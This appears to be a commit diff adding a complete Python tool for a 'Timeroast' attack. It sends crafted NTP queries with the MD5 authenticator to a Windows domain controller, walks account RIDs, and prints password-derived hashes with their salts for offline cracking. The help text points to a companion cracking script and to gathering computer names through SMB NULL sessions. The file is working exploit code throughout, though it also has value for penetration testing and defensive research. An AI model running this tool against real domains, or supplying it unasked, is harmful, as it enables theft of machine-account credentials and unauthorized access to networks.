|
| 1 | +#!/usr/bin/env python3 |
| 2 | + |
| 3 | +from binascii import hexlify, unhexlify |
| 4 | +from argparse import ArgumentParser, FileType, ArgumentTypeError, RawDescriptionHelpFormatter |
| 5 | +from typing import * |
| 6 | +from select import select |
| 7 | +from time import time |
| 8 | +from sys import stdout, stderr |
| 9 | +from itertools import chain |
| 10 | +from socket import socket, AF_INET, SOCK_DGRAM |
| 11 | +from struct import pack, unpack |
| 12 | + |
| 13 | +# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. |
| 14 | +NTP_PREFIX = unhexlify('db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a') |
| 15 | + |
| 16 | +# Default settings. |
| 17 | +DEFAULT_RATE = 180 |
| 18 | +DEFAULT_GIVEUP_TIME = 24 |
| 19 | + |
| 20 | + |
| 21 | +def ntp_roast(dc_host : str, rids : Iterable, rate : int, giveup_time : float) -> List[Tuple[int, bytes, bytes]]: |
| 22 | + """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs. |
| 23 | + Rate is the number of queries per second to send. |
| 24 | + Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will |
| 25 | + not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network |
| 26 | + issues. |
| 27 | + |
| 28 | + Yields (rid, hash, salt) pairs, where salt is the NTP response data.""" |
| 29 | + |
| 30 | + # Bind UDP socket. |
| 31 | + with socket(AF_INET, SOCK_DGRAM) as sock: |
| 32 | + sock.bind(('0.0.0.0', 123)) |
| 33 | + |
| 34 | + query_interval = 1 / rate |
| 35 | + last_ok_time = time() |
| 36 | + rids_received = set() |
| 37 | + rid_iterator = iter(rids) |
| 38 | + |
| 39 | + while time() < last_ok_time + giveup_time: |
| 40 | + |
| 41 | + # Send out query for the next RID, if any. |
| 42 | + query_rid = next(rid_iterator, None) |
| 43 | + if query_rid is not None: |
| 44 | + query = NTP_PREFIX + pack('<I', query_rid) + b'\x00' * 16 |
| 45 | + sock.sendto(query, (dc_host, 123)) |
| 46 | + |
| 47 | + # Wait for either a response or time to send the next query. |
| 48 | + ready, [], [] = select([sock], [], [], query_interval) |
| 49 | + if ready: |
| 50 | + reply = sock.recvfrom(120)[0] |
| 51 | + |
| 52 | + # Extract RID, hash and "salt" if succesful. |
| 53 | + if len(reply) == 68: |
| 54 | + salt = reply[:48] |
| 55 | + answer_rid = unpack('<I', reply[-20:-16])[0] |
| 56 | + md5hash = reply[-16:] |
| 57 | + |
| 58 | + # Filter out duplicates. |
| 59 | + if answer_rid not in rids_received: |
| 60 | + rids_received.add(answer_rid) |
| 61 | + yield (answer_rid, md5hash, salt) |
| 62 | + last_ok_time = time() |
| 63 | + |
| 64 | +def get_args(): |
| 65 | + """Parse command-line arguments.""" |
| 66 | + |
| 67 | + argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\ |
| 68 | +"""Performs an NTP 'Timeroast' attack against a domain controller. |
| 69 | +Outputs hex encoded<RID>:<hash>:<salt> triplets where the 'hash' is |
| 70 | +defined as MD5(NTLM-hash || salt). |
| 71 | +
|
| 72 | +The timecrack.py script can be used to run a dictionary attack against the |
| 73 | +hashes. |
| 74 | +
|
| 75 | +Usernames within the hash file are user RIDs. In order to use a cracked |
| 76 | +password that does not contain the computer name, either look up the RID |
| 77 | +in AD (if you already have some account) or use a computer name list obtained |
| 78 | +via reverse DNS, service scanning, SMB NULL sessions etc. |
| 79 | +""" |
| 80 | + ) |
| 81 | + |
| 82 | + |
| 83 | + def num_ranges(arg): |
| 84 | + # Comma-seperated integer ranges. |
| 85 | + try: |
| 86 | + ranges = [] |
| 87 | + for part in arg.split(','): |
| 88 | + if '-' in part: |
| 89 | + [start, end] = part.split('-') |
| 90 | + assert 0 <= int(start) < int(end) < 2**31 |
| 91 | + ranges.append(range(int(start), int(end) + 1)) |
| 92 | + else: |
| 93 | + assert 0 <= int(part) < 2**31 |
| 94 | + ranges.append(int(part)) |
| 95 | + |
| 96 | + return chain(ranges) |
| 97 | + except: |
| 98 | + raise ArgumentTypeError(f'Invalid number ranges: "{arg}".') |
| 99 | + |
| 100 | + |
| 101 | + # Configurable options. |
| 102 | + argparser.add_argument( |
| 103 | + '-o', '--out', |
| 104 | + type=FileType('w'), default=stdout, metavar='FILE', |
| 105 | + help='Hash output file. Writes to stdout if omitted.' |
| 106 | + ) |
| 107 | + argparser.add_argument( |
| 108 | + '-r', '--rids', |
| 109 | + type=num_ranges, default=range(1, 2**31), metavar='RIDS', |
| 110 | + help='Comma-separated list of RIDs to try. Use hypens to specify (inclusive) ranges, e.g. "512-580,600-1400". ' +\ |
| 111 | + 'By default, all possible RIDs will be tried until timeout.' |
| 112 | + ) |
| 113 | + argparser.add_argument( |
| 114 | + '-a', '--rate', |
| 115 | + type=int, default=DEFAULT_RATE, metavar='RATE', |
| 116 | + help=f'NTP queries to execute second per second. Higher is faster, but with a greater risk of dropped packages ' +\ |
| 117 | + f'resulting in incomplete results. Default: {DEFAULT_RATE}.' |
| 118 | + ) |
| 119 | + argparser.add_argument( |
| 120 | + '-t', '--timeout', |
| 121 | + type=int, default=DEFAULT_GIVEUP_TIME, metavar='TIMEOUT', |
| 122 | + help=f'Quit after not receiving NTP responses for TIMEOUT seconds, possibly indicating that RID space has ' +\ |
| 123 | + f'been exhausted. Default: {DEFAULT_GIVEUP_TIME}.' |
| 124 | + ) |
| 125 | + |
| 126 | + # Required arguments. |
| 127 | + argparser.add_argument( |
| 128 | + 'dc', |
| 129 | + help='Hostname or IP address of domain controller that acts as NTP server.' |
| 130 | + ) |
| 131 | + |
| 132 | + return argparser.parse_args() |
| 133 | + |
| 134 | + |
| 135 | +def main(): |
| 136 | + """Command-line interface.""" |
| 137 | + |
| 138 | + args = get_args() |
| 139 | + output = args.out |
| 140 | + for rid, hashval, salt in ntp_roast(args.dc, args.rids, args.rate, args.timeout): |
| 141 | + print(f'{rid}:{hexlify(hashval).decode()}:{hexlify(salt).decode()}', file=output) |
| 142 | + |
| 143 | + |
| 144 | +if __name__ == '__main__': |
| 145 | + main() |
0 commit comments